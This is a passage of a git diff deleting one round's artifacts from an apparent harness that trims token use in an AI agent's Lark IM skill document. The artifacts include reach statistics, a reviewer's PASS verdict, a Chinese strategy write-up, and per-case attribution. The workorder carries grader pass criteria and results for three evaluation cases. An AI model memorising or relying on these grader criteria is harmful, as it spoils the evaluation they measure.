],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-identity.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-messages-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-search.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-update.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-list-item.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-query-item.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-groups.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-create.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-remove.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-cancel.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-create.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-message-enrichment.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-mget.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-reply.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-resources-download.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-search.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-send.md": {
|
||||
"reach": 0.667,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-reactions.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-threads-messages-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
}
|
||||
},
|
||||
"expected_reach": {},
|
||||
"minibatch": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"pareto_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"artifacts": {
|
||||
"workorder": "workorder.md",
|
||||
"diagnosis": "diagnosis.md",
|
||||
"attribution": "attribution.json",
|
||||
"strategy": "strategy.md",
|
||||
"review": "review.json",
|
||||
"trend": "trend.json"
|
||||
},
|
||||
"code_tip": "237a77feb341e15656386d6952a875dc459fec8c",
|
||||
"signature": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e",
|
||||
"tier": "T1",
|
||||
"intent": "将 SKILL.md 常驻层 API Resources 索引+权限表折叠为 schema 指针,删 USAGE 枚举保留全部路由/身份/GOTCHA,常驻 token -39.8%",
|
||||
"target_axis": "token",
|
||||
"changed_files": [
|
||||
"skills/lark-im/SKILL.md"
|
||||
],
|
||||
"decision_basis": {
|
||||
"type": "module",
|
||||
"module": "skills/lark-im/SKILL.md"
|
||||
},
|
||||
"decision_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"review": {
|
||||
"generated_by": "lark-cli-harness:opt-reviewer",
|
||||
"verdict": "PASS",
|
||||
"module": "skills/lark-im/SKILL.md",
|
||||
"tier": "T1",
|
||||
"reason": "纯常驻减重,无可证伪点:删的 per-method identity 索引 + 完整 scope 表经实测在 schema 运行时可逐字取回(schema im.chats.create 返回与被删文本相同的 Identity 串、schema._meta.scopes 携带所需 im:* scope),非语义丢失而是迁回文档本就强制查询的权威源;SELECTION 层路由(Identity-and-Token-Mapping、Shortcuts 表)字节未动(L1-109 完全一致);23 个 reference 链接集合改动前后完全相同,reactions/feed-groups 入口已迁入 Shortcuts 表且 identity 语义保留、链接有效;token 4960→2986(-39.8%,tiktoken cl100k_base 实测吻合声明)为真删非搬运;只服务 RC-2 一个根因。试图证伪四维均找不到证据。",
|
||||
"dimensions": {
|
||||
"reward_hack": {
|
||||
"pass": true,
|
||||
"evidence": "无硬编码答案/题号特判;未把 identity 改走 --as bot 修绿;Identity-and-Token-Mapping 路由块(L38-42)字节未动,符合 diagnosis「保 effect 不追 effect」的要求"
|
||||
},
|
||||
"semantic_regress": {
|
||||
"pass": true,
|
||||
"evidence": "实测无承重内容丢失:lark-cli schema im.chats.create 逐字返回被删的 Identity 串、schema._meta.scopes 携带所需 scope(如 im:message.urgent),删块全部可在运行时由 schema 取回;23 个 reference 集合改动前后完全相同,reactions/feed-groups 入口迁入 Shortcuts 表保住 reach 不归零"
|
||||
},
|
||||
"token_shift": {
|
||||
"pass": true,
|
||||
"evidence": "tiktoken cl100k_base 实测 4960→2986、-1974/-39.8% 与声明吻合;是 reach=1.0 文件的常驻字节真删而非搬运;新增 2 行 Shortcuts 入口仅在实际用到 reactions/feed-groups 时才触发读取(本轮 3 题不涉及),无常驻或增读拉力,运行时 context 等额下降方向与 token↓ 一致"
|
||||
},
|
||||
"contract_break": {
|
||||
"pass": true,
|
||||
"evidence": "T1 无对外契约;删除目标(method/scope 全索引)正是 authoring-guide/optimization-playbook「不进 skill、最多留一行指针」所指对象,新指针同时覆盖 schema+lark-shared 报错流程语义;23 个链接全部解析、迁移表行 markdown 良构,无 must-keep SELECTION 段被删"
|
||||
},
|
||||
"devguide": {
|
||||
"pass": true,
|
||||
"evidence": "对照 review-rubric 优化红线两维(semantic_regress / contract_break)均无触犯:信息归属正确(method/scope 索引应交给 schema/--help)、无破坏性删除、无 CRITICAL 超额、无重复 lark-shared;结构与链接合规"
|
||||
},
|
||||
"single_root_cause": {
|
||||
"pass": true,
|
||||
"evidence": "diff 仅服务 RC-2(裁常驻 USAGE 索引),未捆 RC-3(reference 压缩)等其他根因;新增 2 行 Shortcuts 入口是同一删除动作的孤儿入口保命改(因果同源),非第二根因;删除范围严格限于 ## API Resources + ## 权限表 两段,无大块语义独立删除被 token 对冲叙事缝合"
|
||||
}
|
||||
}
|
||||
},
|
||||
"child_k": 5,
|
||||
"eval_trace": null,
|
||||
"retro": {
|
||||
"cause": "已入池",
|
||||
"noise_borderline": false,
|
||||
"summary": "越带入池,无需复盘补发"
|
||||
},
|
||||
"retro_sessions": [
|
||||
{
|
||||
"case": "1",
|
||||
"session": "harness-opt/rounds/round-001/child-runs/run-1/detail_info/cases/CLI_核心评测_014/0/session.jsonl",
|
||||
"axis": "token",
|
||||
"expect": "降",
|
||||
"parent": 30086,
|
||||
"child": 34270,
|
||||
"gain": "反向",
|
||||
"pass_delta": null
|
||||
},
|
||||
{
|
||||
"case": "2",
|
||||
"session": "harness-opt/rounds/round-001/child-runs/run-1/detail_info/cases/CLI_核心评测_015/0/session.jsonl",
|
||||
"axis": "token",
|
||||
"expect": "降",
|
||||
"parent": 34616,
|
||||
"child": 47116,
|
||||
"gain": "反向",
|
||||
"pass_delta": "修好"
|
||||
},
|
||||
{
|
||||
"case": "3",
|
||||
"session": "harness-opt/rounds/round-001/child-runs/run-1/detail_info/cases/CLI_核心评测_080/0/session.jsonl",
|
||||
"axis": "token",
|
||||
"expect": "降",
|
||||
"parent": 31289,
|
||||
"child": 37942,
|
||||
"gain": "反向",
|
||||
"pass_delta": "修好"
|
||||
}
|
||||
],
|
||||
"verdict": "admitted",
|
||||
"ci": null,
|
||||
"new_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e",
|
||||
"decision": {
|
||||
"parent_success": 0.3333333333333333,
|
||||
"child_success": 1.0,
|
||||
"parent_score": 0.5111111111111111,
|
||||
"child_score": 0.6666666666666666,
|
||||
"score_saved": 0.15555555555555556,
|
||||
"score_threshold": 0.09532271373123208,
|
||||
"parent_token": 31997.0,
|
||||
"child_token": 39776.0,
|
||||
"saved": -7779.0,
|
||||
"threshold": 4532.708313776408,
|
||||
"parent_duration": 50189.0,
|
||||
"child_duration": 68024.66666666667,
|
||||
"dur_saved": -17835.66666666667,
|
||||
"dur_threshold": 4899.200953624988,
|
||||
"dur_margin": 1.0,
|
||||
"missing_duration": [],
|
||||
"k_child": 5,
|
||||
"k_parent": 5,
|
||||
"decision_n": 3,
|
||||
"missing_context": [],
|
||||
"missing_score": [],
|
||||
"parent_token_acc": 263981.0,
|
||||
"child_token_acc": 379441.6666666667,
|
||||
"phi0_score": 0.5111111111111111,
|
||||
"eff_margin": 1.0,
|
||||
"parent_token_full": 31997.0,
|
||||
"child_token_full": 39776.0,
|
||||
"saved_full": -7779.0,
|
||||
"observe_n": 3,
|
||||
"target_axis": "token",
|
||||
"admitted": true,
|
||||
"reason": "score_gain"
|
||||
},
|
||||
"patch": "verify_results/round-001-lark-im-SKILL.patch"
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
# Round 1 候选策略(模块=skills/lark-im/SKILL.md, tier=T1, 主指标=token)
|
||||
|
||||
## 根因与选择
|
||||
| 根因 | 来源(评测归因/规范经验) | 承载模块(reach) | annotation 风险级 | coverage 档 | P级 | 选中 |
|
||||
|---|---|---|---|---|---|---|
|
||||
| RC-2:SKILL.md 常驻正文里 `## API Resources` per-method identity/owner/admin 索引(L113-191) + `## 权限表`完整 scope 表(L192-231) 属 USAGE 层,每次运行常驻 | 评测归因 + 规范经验(双视角同点) | SKILL.md(1.0) | R0×2 段 | 密(3/3 题命中) | P0 | ✅ |
|
||||
| RC-3:on-demand reference 偏大(messages-send 5367 / chat-create 3062 tok) | 评测归因 | references/lark-im-messages-send.md(0.667)、chat-create.md(0.667) | R1 多 / R3 少 | 中(仅 080/014) | P1 | |
|
||||
| RC-1:user 身份沙箱授权不可完成 | 评测归因(effect) | lark-shared(不可改) | — | — | — | 不可修 |
|
||||
| RC-4:auth qrcode 路径被拒重试 | 评测归因(duration) | lark-shared(不可改) | — | — | — | 不可修 |
|
||||
|
||||
- **选中理由**:本轮 objective 主轴=token,effect 因 RC-1(沙箱 user 授权 + 驱动文档在不可改的 lark-shared)本轮无法在 T1 内合法抬升,故只在 token 轴发力。RC-2 是 reach=1.0 的头号可控热点——3 题全命中、tiktoken 稳定(5,722/5,724/5,777)、每次运行都付费。RC-3 是 reach=0.667 的 on-demand 次级抓手,且 reference 正文里夹着 R3 真 GOTCHA(messages-send 的 Safety Constraints、chat-create 的 `--as bot` 两步建群 SOP),压缩风险更高、收益被未读它的题稀释;按单根因纪律,本轮只做 RC-2。RC-1/RC-4 落 lark-shared,越界即被 scope check 拒,且沙箱物理限制非文档可绕——不碰。
|
||||
- **选模块理由**:SKILL.md reach=1.0(经 Skill 工具每题必加载),是 RC-2 的唯一承载。改动全部落在它内部,coherent,不触任何别的 skill。
|
||||
- **规范经验源补注**:双视角在同一处汇合——
|
||||
- 视角②(annotation):`skill-annotations.json` 把 L113-122、L123-161、L162-191(API Resources)、L192-231(权限表)全部标 **R0(safe-to-delete)**,理由「method 清单/scope 表 schema/--help 运行时查得到,属 USAGE」。
|
||||
- reviewer 规范背书:optimization-playbook 决策树「是 flag/enum/参数/返回字段/**scope/method 索引** → 不进 skill,交给 --help/schema,最多留一行指针」;authoring-guide 信息归属表「**不写进 skill**:resource/method 全索引、scope/权限映射表(缺权限走 lark-shared 报错流程)」;SKILL.md 锚点 6「`--help`/schema 管 USAGE,reference 只留 gotcha」。三处独立指向同一删除对象。
|
||||
- coverage:3/3 题都加载 SKILL.md(密),token 收益在常驻层可被当轮 eval 直接裁(静态 tiktoken + 每题 visible 构成),不是难裁的拟合型改动。
|
||||
|
||||
## 改了什么(逐处)
|
||||
- `skills/lark-im/SKILL.md` L113-191 `## API Resources`(per-resource per-method identity/owner/admin/tenant 索引,约 79 行)→ 折叠为 9 行的 `## Native API (beyond shortcuts)`:保留「非 shortcut 的原生 method 仍可调」这条 SELECTION 信号 + 列出哪些 resource 走原生 + 「调用前 MUST 先 `schema`」的指针;删掉每个 method 的逐条 identity/约束枚举(schema 运行时返回)。
|
||||
- `skills/lark-im/SKILL.md` L192-231 `## 权限表`(40 行完整 scope 映射表)→ 删除;其语义并入上面 `## Native API` 的指针一句「schema 给 required scope;缺 scope 时 lark-cli 返回 console_url,走 lark-shared 权限流程」。
|
||||
- `skills/lark-im/SKILL.md` Shortcuts 速查表新增 2 行:`reactions.*` → `references/lark-im-reactions.md`、`feed.groups.*` → `references/lark-im-feed-groups.md`。**这是路由保命改**:这两个 reference 的唯一运行时入口原本在被删的 API Resources 块里(`[Must-read]` 链接),annotator 误判「已被 Shortcuts 表覆盖」——实测它俩不在原速查表里(速查表的 feed-group 三行指向的是 *-list/-list-item/-query-item 三个不同文件)。不补这 2 行 = 删 reference 链接 = 该 reference reach 永久归 0、路由断裂。
|
||||
|
||||
## 为什么这么改(机制)
|
||||
- **省 token**:被删的两块是「全量罗列、低命中」的 USAGE——本轮 3 题只用到建群/搜群/搜消息/发消息/转发/@,几十行 per-method identity 与整张 scope 表每次运行都注入却从不被读取。删后 Agent 仍能:(1) 经 SKILL.md 选对命令/身份(SELECTION 层 Identity-and-Token-Mapping、Shortcuts 表全部保留);(2) 真要调原生 method 时按指针跑 `schema` 拿到 params/identity/scope(运行时事实源,且本来就该查);(3) 缺 scope 时按 lark-shared 既有报错流程拿 console_url。即「删了 Agent 还做得对吗?做得对就删」(锚点 2)。
|
||||
- **不碰 effect**:保留全部 SELECTION 层路由——CRITICAL 先读 lark-shared(L13)、Identity and Token Mapping(user/bot↔token,R3)、完整 Shortcuts 速查表、各域特有 GOTCHA(bot 取不到 sender name、enrichment/download 契约、flag/feed-shortcut 概念)。没有改 identity 路由、没有改参数正确性、没有删 scope 提示语义(指针仍指向 schema+lark-shared 流程)。已经走到「user 授权」这一步的链路不会被碰断。
|
||||
- **规范背书**:optimization-playbook §2 决策树 + authoring-guide 信息归属表 L95 + SKILL.md 锚点 6,三处独立判定 method 索引/scope 表「不进 skill,最多留一行指针」——本改动正是把两块 USAGE 折叠成指针。
|
||||
|
||||
## 预期效果
|
||||
- **成功率(effect 硬门槛)**:不退化。删除的是 USAGE 枚举,保留全部 SELECTION/路由/身份/GOTCHA。本轮 3 题的 FAIL 根因是沙箱 user 授权(RC-1,与本改动正交),改动不触碰授权链路;预期仍为「走到授权步后 blocked」的同构轨迹,不引入新失败。
|
||||
- **context(分两层)**:
|
||||
- (1) **静态字数差**:SKILL.md 从 4,960 → 2,986 tok(cl100k_base,reviewer 脚本实测),**-1,974 tok / -39.8%**;落入金标杆带(中位数 ~2,400、lark-shared 2,709),接近上一轮 IM 治理目标 2,040。
|
||||
- (2) **每题运行时 context 方向**:3 题全部下降,且降幅≈静态差——因为 SKILL.md reach=1.0 每题必全量加载,常驻层减重直接等额传导到每题 visible(评测里 SKILL.md 正文 5,722-5,777 tok/题 → 预计降约 2k/题)。**无前置/增读拉力**:没有新增任何会增加 reference 读取的内容;新增的 2 行 Shortcuts 入口只在 agent 实际要用 reactions/feed-groups 时才触发读取(本轮 3 题都不涉及),不构成常驻或额外拉力。与 direction(token↓)一致,无张力。
|
||||
- **可裁性**:token 收益在常驻层、可被当轮 eval 直接裁(静态 tiktoken + 每题 visible 构成),非难裁的拟合型改动;无覆盖敞口。
|
||||
|
||||
## 刻意没做什么(反 reward-hack / 反过拟合)
|
||||
- 没硬编码任何评测题答案;没把 case 特判写进文档;没碰 lark-im 以外任何文件(RC-1/RC-4 的 lark-shared 不动);没把 RC-3 等无关根因捆进这一轮。
|
||||
- **没碰 effect 链路**:没有把 identity 改走 `--as bot`「修绿」(那是 reward-hack,用户显式要「我的身份」、grader 判分点写「当前用户身份」);没删/弱化 Identity-and-Token-Mapping、Shortcuts 路由、scope 语义指针、CRITICAL lark-shared 前置——这些都是保住「已走到授权」链路不退化的承重内容。
|
||||
- **没删 reference 入口**:被删块里两个 reference(reactions/feed-groups)的唯一入口已迁入 Shortcuts 速查表,reach 不归零、路由不断裂(纠正了 annotator「已覆盖」的误判)。
|
||||
- **没做输出裁剪、没碰命令行为**(T1 docs-only,且 playbook 红线:输出裁剪须独立设计验证)。
|
||||
- **没补「前置授权说明」**:诊断证据显示 3 题调用前都已读到 SKILL.md(reach=1.0),失败在更上游的沙箱授权(状态③语义、根因是环境),前置救不了且只会增 token,与目标背道——明确不做。
|
||||
- 这是「减体积」改动、与评测错误分布无拟合关系,不存在朝错误分布过拟合的敞口;lite 无 sealed 也不构成隐患。
|
||||
|
||||
## 签名
|
||||
- signature: a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e(git diff skills/lark-im/SKILL.md 内容哈希) tier: T1
|
||||
@@ -1 +0,0 @@
|
||||
[]
|
||||
@@ -1,35 +0,0 @@
|
||||
# Round 1 归因派工单(parent=phi0;模块未定,由 candidate-writer 据诊断点名)
|
||||
|
||||
> **只读输入**——opt-attributor 读本文件,把诊断**另写** `diagnosis.md`(给 candidate-writer)+ 逐题结构化 `attribution.json`(给 dashboard)。**不要覆盖本文件**,留作派工单↔诊断的前后对比。
|
||||
> 判分点只当「什么算挂」的锚,禁止照抄 grader 药方(已从派工单剔除)。
|
||||
|
||||
## 模块运行时可达性(选模块第一步的证据;要选须在 strategy.md 说明理由)
|
||||
> reach=**实测**触达率(域主 SKILL.md 经 Skill 工具加载、reference 经 Read,都从 trace 实测,没有恒在的面);判决集=实测∪预期触达。**实测低但有预期触达 ⚠️=可发现性/路由根因**(本该读却没读,如没路由到该域 / 速查表漏链接 / 该前置),正该选来修——不是白烧;reach=0 且无预期 才是真白烧。 **别用「全集均摊」判 reference 价值**:判决在 reach 子集上做,压一条 reference 的降幅在它子集里不被没读它的题稀释——reach 不高(但 >0)的 reference 在自己子集上也可能越带。
|
||||
- `skills/lark-im/SKILL.md` → reach=1.0 [域主 skill·经 Skill 工具加载];判决集(实测∪预期): ['1', '2', '3'];其中挂的: ['2', '3']
|
||||
- `skills/lark-im/references/lark-im-chat-create.md` → reach=0.667;判决集(实测∪预期): ['1', '3'];其中挂的: ['3']
|
||||
- `skills/lark-im/references/lark-im-messages-send.md` → reach=0.667;判决集(实测∪预期): ['1', '3'];其中挂的: ['3']
|
||||
- (另 22 个 reference reach=0 且无预期触达,本轮无关,略)
|
||||
|
||||
### 2 [FAIL] ctx=34616 (acc=274168) 52787ms tools=25
|
||||
- session.jsonl: harness-opt/baseline/runs/run-1/detail_info/cases/CLI_核心评测_015/0/session.jsonl [native]
|
||||
- 判分点(grader 的「什么算挂」oracle,非药方):
|
||||
✓ 成功定位名为「fusanming_at_openclaw群」的群,并获取最近包含「飞豆」关键字的消息。
|
||||
✓ 将筛选出的相关消息内容转发到「fusanming_at_需求测试群」。
|
||||
✓ 在「fusanming_at_需求测试群」中 @傅六铭 做知会,消息发送成功。
|
||||
|
||||
### 3 [FAIL] ctx=31289 (acc=225396) 46776ms tools=22
|
||||
- session.jsonl: harness-opt/baseline/runs/run-1/detail_info/cases/CLI_核心评测_080/0/session.jsonl [native]
|
||||
- 判分点(grader 的「什么算挂」oracle,非药方):
|
||||
✓ 使用用户身份创建一个名为「今晚吃什么」的群,预期返回 chat_id
|
||||
✓ 创建一张飞书卡片,卡片内容包含「今天晚上吃什么」
|
||||
✓ 将该卡片发送到新建群中,预期返回 message_id
|
||||
|
||||
### 1 [PASS] ctx=30086 (acc=292379) 51004ms tools=32
|
||||
- session.jsonl: harness-opt/baseline/runs/run-1/detail_info/cases/CLI_核心评测_014/0/session.jsonl [native]
|
||||
- 判分点(grader 的「什么算挂」oracle,非药方):
|
||||
✗ 使用当前用户身份创建名为「IM合作群」的群聊
|
||||
证据: Agent 执行了 split-flow 授权流程以获取 user 身份权限,生成了二维码让用户扫描,但用户未完成授权即要求评分。Auth status 显示 'User identity: missing',群聊未被创建。
|
||||
✗ 将傅一铭和傅二铭加入该群
|
||||
证据: 依赖群聊创建结果。由于群聊未创建(blocked by user identity missing),无法添加成员。
|
||||
✗ 在该群发送文本消息「大家体验有问题随时沟通」,并返回可验证的 chat_id / message_id
|
||||
证据: 依赖群聊创建结果。由于群聊未创建,无法发送消息。
|
||||
@@ -1,65 +0,0 @@
|
||||
[
|
||||
{
|
||||
"case_id": "1",
|
||||
"case_label": "CLI_核心评测_014",
|
||||
"verdict": "PASS",
|
||||
"verdict_note": "workorder=PASS(聚合口径),判分点证据 3/3 ✗ → 实质 FAIL,按判分点当 FAIL 归因",
|
||||
"token": 34555,
|
||||
"token_visible_est": 17364,
|
||||
"duration_ms": 37000,
|
||||
"tool_calls": 8,
|
||||
"cmd_attempts": 7,
|
||||
"cmd_failures": 5,
|
||||
"cmd_fail_rate": 0.71,
|
||||
"discoverability_state": "③ 读了仍卡(SKILL.md+chat-create.md 调用前已读;卡在跨域 contact + 沙箱 user 授权,非 lark-im 内容/触达问题)",
|
||||
"axis": "效果",
|
||||
"root_cause": "沙箱不能交互扫码完成 user 授权 + 跨 lark-contact 域 search-user 不可用——无 lark-im 文档根因,本轮不可修",
|
||||
"token_hotspot": "SKILL.md 常驻正文(RC-1) + chat-create.md 按需读取(RC-3,本题读了但授权阻断没用上);无 lark-cli 输出离群",
|
||||
"token_reliability": "常驻静态(SKILL.md 3751) + 按需读取(chat-create.md 3062)",
|
||||
"duration_hotspot": "多轮交互(查联系人→切contact→失败→auth status→授权→qrcode重试) + 反应式重试(qrcode 路径)",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现",
|
||||
"doc_fix_hint": "无 lark-im 文档可修点(效果根因在环境+跨域);lark-im 侧仅 token 减法(SKILL.md 常驻、chat-create.md 体积)"
|
||||
},
|
||||
{
|
||||
"case_id": "2",
|
||||
"case_label": "CLI_核心评测_015",
|
||||
"verdict": "PASS",
|
||||
"verdict_note": "真 PASS,判分点 3/3 ✓,全程 bot 身份完成,无授权阻断(推翻 round-1 的 blocked 定调)",
|
||||
"token": 54568,
|
||||
"token_visible_est": 43760,
|
||||
"duration_ms": 125000,
|
||||
"tool_calls": 16,
|
||||
"cmd_attempts": 9,
|
||||
"cmd_failures": 3,
|
||||
"cmd_fail_rate": 0.33,
|
||||
"discoverability_state": "① 从没读(chat-messages-list.md / messages-search.md 调用前从没读,直接猜命令→全量拉取+exit2)",
|
||||
"axis": "token",
|
||||
"root_cause": "`+chat-messages-list --page-all` 无时间过滤全量拉取→43.5KB持久化→Read 灌入 22556 tok;放大器是 chat-messages-list.md 没被读到(缺收窄指引),但补它与降token目标方向冲突",
|
||||
"token_hotspot": "工具返回原样输出(block #19 Read 持久化文件 22556 tok,51.5%,非 lark-im doc)",
|
||||
"token_reliability": "单次输出(强依赖该群消息量,非稳定常驻热点,单题不可外推)",
|
||||
"duration_hotspot": "多轮交互 + 重试(messages-search 连环 exit2→改 page-all→大输出→多次本地 grep 抠数据)",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现;工具调用 16 明显高于 080,作旁证",
|
||||
"doc_fix_hint": "token 黑洞来自工具输出非文档;SKILL.md 表对 chat-messages-list 未提示大群应 server-side 收窄——但补此为增内容,与降token冲突,列观察项不作本轮根因"
|
||||
},
|
||||
{
|
||||
"case_id": "3",
|
||||
"case_label": "CLI_核心评测_080",
|
||||
"verdict": "PASS",
|
||||
"verdict_note": "真 PASS,判分点 3/3 ✓,主动选 bot 身份完成建群+发卡片,零命令失败(推翻 round-1 的 blocked 定调)",
|
||||
"token": 38009,
|
||||
"token_visible_est": 21599,
|
||||
"duration_ms": 47000,
|
||||
"tool_calls": 6,
|
||||
"cmd_attempts": 3,
|
||||
"cmd_failures": 0,
|
||||
"cmd_fail_rate": 0.0,
|
||||
"discoverability_state": "③ 读了即用(SKILL.md+chat-create.md+messages-send.md 调用前全读到且用上,无触达问题)",
|
||||
"axis": "token",
|
||||
"root_cause": "messages-send.md 单文件 5365 tok(内部 4 处『选 content flag』语义重叠 + Commands 全形态罗列)+ SKILL.md 常驻 + chat-create.md 按需——纯减体积场景,命令零失败",
|
||||
"token_hotspot": "运行时冗余清单常驻 + 按需 reference 偏大(读取 Skill 56.4%:messages-send.md 5365 + SKILL.md 3751 + chat-create.md 3060)",
|
||||
"token_reliability": "常驻静态(SKILL.md 3751) + 按需读取(messages-send.md 5365 子集reach0.333、chat-create.md 3060 子集reach0.667)",
|
||||
"duration_hotspot": "无离群(47s 正常建群+发卡片串行,无重试、无写后回查)",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现",
|
||||
"doc_fix_hint": "messages-send.md 选型规则在 4 处重复表述、Commands 罗列全部媒体形态;SKILL.md Important Notes/Shortcuts 全量低命中常驻——均为可删的减法冗余,本题 token 杠杆最高且无 effect 风险"
|
||||
}
|
||||
]
|
||||
@@ -1,27 +0,0 @@
|
||||
{
|
||||
"1": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"contact +search-user"
|
||||
],
|
||||
"3": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"auth status",
|
||||
"im +chat-create",
|
||||
"im +messages-send"
|
||||
],
|
||||
"2": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"auth status",
|
||||
"im +chat-messages-list",
|
||||
"im +chat-search",
|
||||
"im +messages-mget",
|
||||
"im +messages-search",
|
||||
"im +messages-send",
|
||||
"im messages forward",
|
||||
"schema im.messages.forward",
|
||||
"schema im.messages.search"
|
||||
]
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
{
|
||||
"3": {
|
||||
"score": 1.0,
|
||||
"passed": true,
|
||||
"context_window": 35478,
|
||||
"token_usage": 221685,
|
||||
"duration_ms": 46540,
|
||||
"tool_call_count": 22,
|
||||
